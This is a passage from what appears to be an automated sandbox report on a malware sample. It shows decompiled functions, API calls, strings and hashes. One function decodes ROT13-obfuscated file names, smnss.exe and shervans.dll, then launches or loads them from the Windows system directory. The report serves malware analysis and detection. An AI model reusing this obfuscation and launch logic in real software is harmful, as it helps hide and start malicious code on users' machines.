						_t23 =  *((intOrPtr*)( *0x405110 + 0x10));
						_v44 = _t23;
						L00401A30();
						_t39 =  *0x405110;
					}
					if(_t39 != 0xffffffe0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x30));
						_v44 = _t23;
						L00401A30();
						_t39 =  *0x405110;
					}
					if(_t39 != 0xffffffc0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x50));
						_v44 = _t23;
						L00401A30();
					}
					goto L7;
				}
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00000000
0x004011ac
0x004011ac
0x004011b1
0x004011b9
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x00401274
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 709f0de60eb04450f0c9f3fd8be5254e618704319a97381d622a77c23d240c61
Instruction ID: 421bbcab5bcb8a1a5ed88441b19a121feb82d79bf90f0e60bb0b5e7d48326fb6
Opcode Fuzzy Hash: 709f0de60eb04450f0c9f3fd8be5254e618704319a97381d622a77c23d240c61
Instruction Fuzzy Hash: B421CAB4A157009FC700EF79D68561A77E0BB88348F41897EF695B73A1D73898808F5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401410 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 63
sleepprocesslibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401410(void* __ecx) {
				void* _v16;
				char _v224;
				char _v256;
				struct _PROCESS_INFORMATION _v272;
				short _v304;
				intOrPtr _v308;
				int _v352;
				int _t16;
				struct _STARTUPINFOA* _t23;
				CHAR* _t26;

				_t25 =  &_v256;
				_t26 =  &_v224;
				_t23 =  &_v352;
				E00401570();
				E004013A2( &_v256, "fzaff.rkr");
				E004013CC(_t26, 0xc8,  &_v256);
				memset(_t23, 0, 0x44);
				_v352 = 0x44;
				_v308 = 1;
				_v304 = 5;
				_t16 = CreateProcessA(0, _t26, 0, 0, 0, 0, 0, 0, _t23,  &_v272); // executed
				if(_t16 != 0) {
					CloseHandle(_v272.hThread);
					CloseHandle(_v272);
				} else {
					E004013A2(_t25, "fureinaf.qyy");
					E004013CC(_t26, 0xc8, _t25);
					LoadLibraryA(_t26);
					Sleep(0xbb8);
				}
				return 0;
			}

0x00401414
0x0040141b
0x00401428
0x0040142e
0x00401439
0x00401445
0x0040144f
0x00401454
0x00401478
0x00401482
0x0040148b
0x00401492
0x004014c6
0x004014d1
0x00401494
0x0040149a
0x004014a6
0x004014ac
0x004014b6
0x004014bb
0x004014df

APIs

Part of subcall function 004013CC: GetSystemDirectoryA.KERNEL32(?,?), ref: 004013E2
Part of subcall function 004013CC: lstrlen.KERNEL32(?,?,?,?,0040144A,?,000000C8,?,?,fzaff.rkr), ref: 004013E8
Part of subcall function 004013CC: lstrcat.KERNEL32(?,00403036), ref: 004013FA
Part of subcall function 004013CC: lstrcat.KERNEL32(?,000000C8), ref: 00401403

memset.MSVCRT ref: 0040144F
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040148B
LoadLibraryA.KERNEL32(?,?,000000C8,?,?,fureinaf.qyy,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004014AC
Sleep.KERNEL32(00000BB8,?,?,000000C8,?,?,fureinaf.qyy,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004014B6
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004014C6
CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004014D1

Strings

fureinaf.qyy, xrefs: 00401494
D, xrefs: 00401454
fzaff.rkr, xrefs: 00401433

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: CloseHandlelstrcat$CreateDirectoryLibraryLoadProcessSleepSystemlstrlenmemset
String ID: D$fureinaf.qyy$fzaff.rkr
API String ID: 2342358475-843627415
Opcode ID: 4726f803edde29433d8ee108cabd3ca17cc547d924d72f493488a07b61c88d33
Instruction ID: 94c7f4a56ebdde8ab0fd0faed4419e19204ddf4c58d1c27792508de29747b16a
Opcode Fuzzy Hash: 4726f803edde29433d8ee108cabd3ca17cc547d924d72f493488a07b61c88d33
Instruction Fuzzy Hash: 7711C271A41218B9E72077628C42FDF767C9F51749F4041BAFA08350E2D7BC1A444EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401280 Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 23%

			E00401280() {
				void* _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				 *0x405108();
				E00401150();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 8)) = 2;
				 *0x405108(_t4); // executed
				E00401150(); // executed
				_push(_t5);
				goto __ecx;
			}

0x00401286
0x0040128d
0x00401293
0x004012a1
0x004012a6
0x004012ad
0x004012b3
0x004012c0
0x004012ca

APIs

__set_app_type.MSVCRT ref: 0040128D

Part of subcall function 00401150: SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
Part of subcall function 00401150: __getmainargs.MSVCRT ref: 0040119E
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011D8
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011FC
Part of subcall function 00401150: __p__fmode.MSVCRT ref: 00401210
Part of subcall function 00401150: __p__environ.MSVCRT ref: 0040122A
Part of subcall function 00401150: _cexit.MSVCRT ref: 0040124D
Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401255

__set_app_type.MSVCRT ref: 004012AD

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: __set_app_type_setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 570162737-0
Opcode ID: e8091d8bd3bffb70673248e43d8af242892c9b374757f3d7f013d3735d48378c
Instruction ID: 5c8ab284ea271eea037cec49ac7268bd5119de4b4cd77f8206c36f2d19225082
Opcode Fuzzy Hash: e8091d8bd3bffb70673248e43d8af242892c9b374757f3d7f013d3735d48378c
Instruction Fuzzy Hash: 5AD09B35404614ABC3003BF5DD0A359BBA8AB05301F41143CE6C577261D7B438454BD6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004012E0 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004012E0(void* __eax) {
				void* _v20;
				short _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				short _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v192;
				int _v196;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				void* __ebx;
				char _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				signed int _t68;
				intOrPtr _t71;
				void* _t72;
				signed char _t90;
				char _t93;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				void* _t107;
				signed int _t108;
				signed int _t114;
				void* _t118;
				signed int _t119;
				signed int _t124;
				signed int _t127;
				struct _IO_FILE* _t131;
				struct _IO_FILE* _t133;
				signed int* _t134;
				intOrPtr* _t135;
				intOrPtr* _t137;
				intOrPtr* _t138;
				signed int* _t139;

				_pop(_t130);
				_t131 = _t133;
				_push(_t107);
				_t134 = _t133 - 0xcc;
				if( *0x404058 == 0) {
					_v112 = 0x41414141;
					_t58 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t127 =  &_v112;
					_v108 = 0x41414141;
					_v104 = 0x41414141;
					_v80 = _t58;
					_t59 = M00403054; // 0x57434347
					_v100 = 0x41414141;
					_v96 = 0x41414141;
					_v76 = _t59;
					_t60 = M00403058; // 0x452d3233
					_v92 = 0x41414141;
					_v88 = 0x41414141;
					_v72 = _t60;
					_t61 = M0040305C; // 0x2d322d48
					_v84 = 0x41414141;
					_v68 = _t61;
					_t62 = M00403060; // 0x4a4c4a53
					_v64 = _t62;
					_t63 = M00403064; // 0x4854472d
					_v60 = _t63;
					_t64 = M00403068; // 0x494d2d52
					_v56 = _t64;
					_t65 =  *0x40306c; // 0x3357474e
					_v52 = _t65;
					_v48 =  *0x403070 & 0x0000ffff;
					 *_t134 = _t127;
					_t68 = FindAtomA(??) & 0x0000ffff;
					_t135 = _t134 - 4;
					_v196 = _t68;
					if(_t68 != 0) {
						L11:
						_t108 = E004016E0(_t68, _t107);
					} else {
						 *_t135 = 0x3c;
						_t72 = malloc(??);
						_t108 = _t72;
						if(_t72 == 0) {
							abort();
							0;
							0;
							_t137 = _t135 - 0x18;
							_v232 = _v204;
							_v236 = _v208;
							_v240 = _v212;
							_v244 = _v216;
							 *_t137 =  *0x405110 + 0x40;
							fprintf(??, ??);
							 *_t137 =  *0x405110 + 0x40;
							fflush(_t131);
							abort();
							0;
							goto ( *0x40510c);
						}
						asm("cld");
						memset(_t72, _v196, 0xf << 2);
						_t138 = _t135 + 0xc;
						 *((intOrPtr*)(_t108 + 4)) = L00401A60;
						_t114 = 1;
						 *((intOrPtr*)(_t108 + 8)) = E004016D0;
						 *_t108 = 0x3c;
						 *((intOrPtr*)(_t108 + 0x28)) = 0;
						 *((intOrPtr*)(_t108 + 0x14)) =  *0x404028;
						 *((intOrPtr*)(_t108 + 0x18)) =  *0x40402c;
						 *((intOrPtr*)(_t108 + 0x1c)) =  *0x40200c;
						 *((intOrPtr*)(_t108 + 0x20)) =  *0x402010;
						 *((intOrPtr*)(_t108 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t108 + 0x2c)) =  *0x404038;
						 *((intOrPtr*)(_t108 + 0x38)) =  *0x402018;
						_t118 = 0x1f;
						 *((intOrPtr*)(_t108 + 0x34)) =  *0x402014;
						do {
							_t90 = _t108 & _t114;
							asm("sbb eax, eax");
							_t114 = _t114 + _t114;
							 *((char*)(_t118 +  &_v192)) = (_t90 & 0x00000020) + 0x41;
							_t118 = _t118 - 1;
						} while (_t118 >= 0);
						_t93 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v160 = _t93;
						_t94 = M00403054; // 0x57434347
						_v156 = _t94;
						_t95 = M00403058; // 0x452d3233
						_v152 = _t95;
						_t96 = M0040305C; // 0x2d322d48
						_v148 = _t96;
						_t97 = M00403060; // 0x4a4c4a53
						_v144 = _t97;
						_t98 = M00403064; // 0x4854472d
						_v140 = _t98;
						_t99 = M00403068; // 0x494d2d52
						_v136 = _t99;
						_t100 =  *0x40306c; // 0x3357474e
						_v132 = _t100;
						_v128 =  *0x403070 & 0x0000ffff;
						 *_t138 =  &_v192;
						_t124 = AddAtomA(??) & 0x0000ffff;
						_t139 = _t138 - 4;
						if(_t124 != 0) {
							_t105 = E004016E0(_t124, _t108);
							_t119 = _t124;
							if(_t105 != _t108) {
								goto L8;
							} else {
								goto L9;
							}
							goto L18;
						} else {
							L8:
							_t119 = 0;
						}
						L9:
						if(_t119 == 0) {
							 *_t139 = _t108;
							L00401A50();
							 *_t139 = _t127;
							_t68 = FindAtomA(??) & 0x0000ffff;
							goto L11;
						}
					}
					 *0x404058 = _t108;
					_t46 = _t108 + 4; // 0x4
					 *0x404048 = _t46;
					_t47 = _t108 + 8; // 0x8
					_t71 = _t47;
					 *0x404068 = _t71;
					return _t71;
				} else {
					return __eax;
				}
				L18:
			}

0x004012e3
0x00401781
0x00401785
0x00401786
0x00401794
0x0040179e
0x004017a5
0x004017aa
0x004017ad
0x004017b4
0x004017bb
0x004017be
0x004017c3
0x004017ca
0x004017d1
0x004017d4
0x004017d9
0x004017e0
0x004017e7
0x004017ea
0x004017ef
0x004017f6
0x004017f9
0x004017fe
0x00401801
0x00401806
0x00401809
0x0040180e
0x00401811
0x00401816
0x00401820
0x00401824
0x0040182d
0x00401830
0x00401835
0x0040183b
0x0040197c
0x00401981
0x00401841
0x00401841
0x00401848
0x0040184f
0x00401851
0x004019b0
0x004019bb
0x004019bf
0x004019c3
0x004019c9
0x004019d0
0x004019d7
0x004019de
0x004019ea
0x004019ed
0x004019fa
0x004019fd
0x00401a02
0x00401a0d
0x00401a10
0x00401a10
0x00401857
0x00401865
0x00401865
0x00401867
0x0040186e
0x00401873
0x0040187f
0x0040188b
0x00401892
0x0040189a
0x004018a3
0x004018ab
0x004018ae
0x004018b5
0x004018c3
0x004018c6
0x004018cb
0x004018d0
0x004018d2
0x004018d7
0x004018db
0x004018df
0x004018e6
0x004018e6
0x004018e9
0x004018ee
0x004018f4
0x004018f9
0x004018ff
0x00401904
0x0040190a
0x0040190f
0x00401915
0x0040191a
0x00401920
0x00401925
0x0040192b
0x00401930
0x00401933
0x00401938
0x00401942
0x0040194c
0x00401955
0x00401958
0x0040195d
0x004019a3
0x004019aa
0x004019ac
0x00000000
0x004019ae
0x00000000
0x004019ae
0x00000000
0x0040195f
0x0040195f
0x0040195f
0x0040195f
0x00401961
0x00401963
0x00401965
0x00401968
0x0040196d
0x00401979
0x00000000
0x00401979
0x00401963
0x00401983
0x00401989
0x0040198c
0x00401991
0x00401991
0x00401994
0x004019a0
0x00401796
0x0040179d
0x0040179d
0x00000000

APIs

FindAtomA.KERNEL32 ref: 00401827
malloc.MSVCRT ref: 00401848
AddAtomA.KERNEL32 ref: 0040194F

Strings

AAAA, xrefs: 004017AD
AAAA, xrefs: 004017CA
AAAA, xrefs: 004017E0
AAAA, xrefs: 004017EF
AAAA, xrefs: 004017C3
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 004017A5, 004018E9
AAAA, xrefs: 004017B4
AAAA, xrefs: 0040179E
AAAA, xrefs: 004017D9

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: 9bb77c504e8466537b62264a3fde08d89e2489709f92c9f29974dc0d1c8e0025
Instruction ID: 2b020eeaefe081e10e1e4b8acb93412c82cc4b82683bdaf15cb7f55dcf55b0e0
Opcode Fuzzy Hash: 9bb77c504e8466537b62264a3fde08d89e2489709f92c9f29974dc0d1c8e0025
Instruction Fuzzy Hash: 9A6113B4A013048FDB50DF69DA84699BBF4FB48311F14817AE948FB369E3349A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00401000(intOrPtr __ebx, intOrPtr __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v24;
				intOrPtr* _t16;
				intOrPtr* _t27;
				intOrPtr* _t33;
				intOrPtr* _t37;

				_v12 = __ebx;
				_t27 = 0;
				_v8 = __esi;
				_t33 = 0;
				_t16 =  *((intOrPtr*)( *_a4));
				if(_t16 > 0xc0000091) {
					__eflags = _t16 - 0xc0000094;
					if(__eflags == 0) {
						goto L3;
					} else {
						if(__eflags > 0) {
							__eflags = _t16 - 0xc0000096;
							goto L14;
						} else {
							__eflags = _t16 - 0xc0000093;
							if(_t16 == 0xc0000093) {
								goto L2;
							} else {
								return 0;
							}
						}
					}
				} else {
					if(_t16 < 0xc000008d) {
						__eflags = _t16 - 0xc0000005;
						if(_t16 == 0xc0000005) {
							 *_t37 = 0xb;
							_v24 = 0;
							L00401A20();
							__eflags = 0 - 1;
							if(0 == 1) {
								 *_t37 = 0xb;
								_v24 = 1;
								L00401A20();
								goto L6;
							} else {
								__eflags = 0;
								if(0 != 0) {
									 *_t37 = 0xb;
									 *0x00000000();
									goto L6;
								}
							}
						} else {
							__eflags = _t16 - 0xc000001d;
							L14:
							if(__eflags == 0) {
								 *_t37 = 4;
								_v24 = 0;
								L00401A20();
								__eflags = _t16 - 1;
								if(_t16 == 1) {
									 *_t37 = 4;
									_v24 = 1;
									L00401A20();
									goto L6;
								} else {
									__eflags = _t16;
									if(_t16 != 0) {
										 *_t37 = 4;
										 *_t16();
										goto L6;
									}
								}
							}
						}
					} else {
						L2:
						_t33 = 1;
						L3:
						 *_t37 = 8;
						_v24 = 0;
						L00401A20();
						if(_t16 == 1) {
							 *_t37 = 8;
							_v24 = 1;
							L00401A20();
							__eflags = _t33;
							if(_t33 != 0) {
								E004016C0(1);
							}
							goto L6;
						} else {
							if(_t16 != 0) {
								 *_t37 = 8;
								 *_t16();
								L6:
								_t27 = 0xffffffff;
							}
						}
					}
					return _t27;
				}
			}

APIs

signal.MSVCRT ref: 00401037
signal.MSVCRT ref: 0040109B
signal.MSVCRT ref: 004010CB

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 6491c55a715dcf65c1e257190edccd3021d22718810e5eb61bd8e24d4d4f1f9f
Instruction ID: 47ce695c1395704ccb81a73c81f467802b35334def71841aa4f43a7f14f2efec
Opcode Fuzzy Hash: 6491c55a715dcf65c1e257190edccd3021d22718810e5eb61bd8e24d4d4f1f9f
Instruction Fuzzy Hash: FF3141B0A052448BD720AF69C58032EB6E0BB09354F15897FE9C5E77E1C67E8CC09B4A

Uniqueness

Uniqueness Score: -1.00%

Function 004016E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetAtomNameA.KERNEL32 ref: 004016FF

Part of subcall function 004019C0: fprintf.MSVCRT ref: 004019ED
Part of subcall function 004019C0: fflush.MSVCRT ref: 004019FD
Part of subcall function 004019C0: abort.MSVCRT(?,?,?,?,?,0040175E), ref: 00401A02

Strings

w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 00401737
%s:%u: failed assertion `%s', xrefs: 00401749
../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 00401750
GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 0040175E

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: %s:%u: failed assertion `%s'$../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2696369246
Opcode ID: 1ee133213eec0f415dbf658d5e2a3167dc8e3140809c25750031008dad7e8e00
Instruction ID: 5a798c4c6fa75a3496ce2cab74e3f0a8b1e10c659dbc764924acd0a29a411e56
Opcode Fuzzy Hash: 1ee133213eec0f415dbf658d5e2a3167dc8e3140809c25750031008dad7e8e00
Instruction Fuzzy Hash: 5E0152B0A043419BDB149F69C08422ABFE4EB94345F10C83FE589AB7A5D27DC941DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00401324 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401324(void* __eflags, char _a4) {
				void* _v16;
				char _v48;
				char _v80;
				void* _t19;
				void* _t20;
				char _t28;
				char _t33;
				void* _t38;
				void* _t39;

				_t38 =  &_v80;
				_t39 =  &_v48;
				_t28 = _a4;
				memcpy(_t39, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 0x1b);
				memcpy(_t38, "abcdefghijklmnopqrstuvwxyz", 0x1b);
				_t19 = E004012F0(_t39, _t28);
				if(_t19 == 0) {
					_t20 = E004012F0(_t38, _t28);
					_t33 = _t28;
					if(_t20 != 0) {
						asm("cdq");
						_t33 =  *((char*)((_t20 - _t38 + 0xd) % 0x1a +  &_v80));
					}
				} else {
					asm("cdq");
					_t33 =  *((char*)((_t19 - _t39 + 0xd) % 0x1a +  &_v48));
				}
				return _t33;
			}

0x00401328
0x0040132c
0x0040133b
0x0040133f
0x0040134c
0x00401353
0x0040135d
0x00401377
0x0040137f
0x00401382
0x00401390
0x00401393
0x00401393
0x0040135f
0x0040136b
0x0040136e
0x0040136e
0x004013a1

APIs

memcpy.MSVCRT ref: 0040133F
memcpy.MSVCRT ref: 0040134C

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00401335
abcdefghijklmnopqrstuvwxyz, xrefs: 00401346

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: memcpy
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ$abcdefghijklmnopqrstuvwxyz
API String ID: 3510742995-4170113403
Opcode ID: 6c292da48972d264751d7bbdcac31dfea94ddd27b6f6ee797df720d1e9c7b4fe
Instruction ID: 7d17000c2f09d8a429465d5ab099176f688db3b50f2b54f17446f46e168fb709
Opcode Fuzzy Hash: 6c292da48972d264751d7bbdcac31dfea94ddd27b6f6ee797df720d1e9c7b4fe
Instruction Fuzzy Hash: 88012B72F0621922E71455BE5C42BBF7A6E8BCA305F14807BF810B19C6C67CDE0212A9

Uniqueness

Uniqueness Score: -1.00%

Function 004013CC Relevance: 6.0, APIs: 4, Instructions: 28
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004013CC(CHAR* _a4, signed int _a8, intOrPtr _a12) {
				void* _v12;
				int _t11;
				CHAR* _t13;

				asm("cld");
				_t13 = _a4;
				memset(_t13, 0, _a8 << 0);
				_t11 = GetSystemDirectoryA(_t13, _a8);
				_push(_t13);
				L00401A90();
				if(_t13[_t11 - 1] != 0x5c) {
					_push(0x403036);
					_push(_t13);
					L00401A98();
				}
				_push(_a12);
				_push(_t13);
				L00401A98();
				return _t11;
			}

0x004013cd
0x004013d5
0x004013dc
0x004013e2
0x004013e7
0x004013e8
0x004013f2
0x004013f4
0x004013f9
0x004013fa
0x004013fa
0x004013ff
0x00401402
0x00401403
0x0040140e

APIs

GetSystemDirectoryA.KERNEL32(?,?), ref: 004013E2
lstrlen.KERNEL32(?,?,?,?,0040144A,?,000000C8,?,?,fzaff.rkr), ref: 004013E8
lstrcat.KERNEL32(?,00403036), ref: 004013FA
lstrcat.KERNEL32(?,000000C8), ref: 00401403

Memory Dump Source

Source File: 00000001.00000002.316097067.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.316091773.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316101561.0000000000403000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316137127.0000000000405000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.316145021.0000000000407000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ctfmen.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlen
String ID:
API String ID: 3692445580-0
Opcode ID: f6e07c299ec493689eb8d796aa5aaf7f4d2c1ab6089d07d3808badf12fab5d33
Instruction ID: ee4f3b154ff9c557860304a6dc4c68e4ea2146a5b4c228ad87cd1209cd76fe63
Opcode Fuzzy Hash: f6e07c299ec493689eb8d796aa5aaf7f4d2c1ab6089d07d3808badf12fab5d33
Instruction Fuzzy Hash: E7E092716013087BCB10EEA6CC81D9E7B5D9F58369B00442ABA09621A3CA3E85504B24

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: smnss.exePID: 5252, Parent PID: 5248COMMON

Execution Graph

Execution Coverage:	23.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	232
Total number of Limit Nodes:	32

Executed Functions

Function 0040619A Relevance: 79.1, APIs: 12, Strings: 33, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

